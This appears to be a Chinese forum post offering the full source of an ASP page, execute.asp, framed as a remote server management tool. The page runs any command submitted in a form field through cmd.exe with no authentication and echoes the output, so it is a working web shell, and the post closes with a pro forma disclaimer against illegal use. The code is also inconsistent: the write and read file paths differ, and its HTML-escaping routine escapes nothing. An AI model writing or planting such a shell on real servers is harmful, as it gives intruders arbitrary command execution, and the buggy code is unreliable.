最近正在写一个远程服务器管理的东东（借鉴了ASE的部分代码、增加了远程执行命令、上传、服务等功能。)

值得注意的是，程序运行必须有FileSystemObject支持。以下是远程执行命令的

原代码。copy下来另存为execute.asp.

<%

ml=request.form("ml")

cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" '修改

'whoamI.txt路径到一个有写权限的目录

Set WShShell = Server.CreateObject("WScript.Shell")

RetCode = WShShell.Run(cmd, 1, True)

if RetCode = 0 Then

Response.write ml & "　"

Response.write " 命令成功执行！"&"

"

else

Response.write " 命令执行失败！权限不够或者该程序无法在DOS状态下运行！"&"

"

end if

'response.write cmd

function htmlencode(str)

dim result

dim l

if isNULL(str) then

htmlencode=""

exit function

end if

l=len(str)

result=""

dim i

for i = 1 to l

select case mid(str,i,1)

case "<"

result=result+"<"

case ">"

result=result+">"

case chr(34)

result=result+"""

case "&"

result=result+"&"

case else

result=result+mid(str,i,1)

end select

next

htmlencode=result

end function

Set fs =CreateObject("Scripting.FileSystemObject")

Set thisfile = fs.OpenTextFile("d:\foxzk\whoamI.txt", 1, False) '读文件，别忘了修改路径.

counter=0

do while not thisfile.atendofstream

counter=counter+1

thisline=htmlencode(thisfile.readline)

response.write thisline&"
"

loop

thisfile.Close

set fs=nothing

%>

请勿将此程序用于非法途径，由此引起的一切后果由使用者承担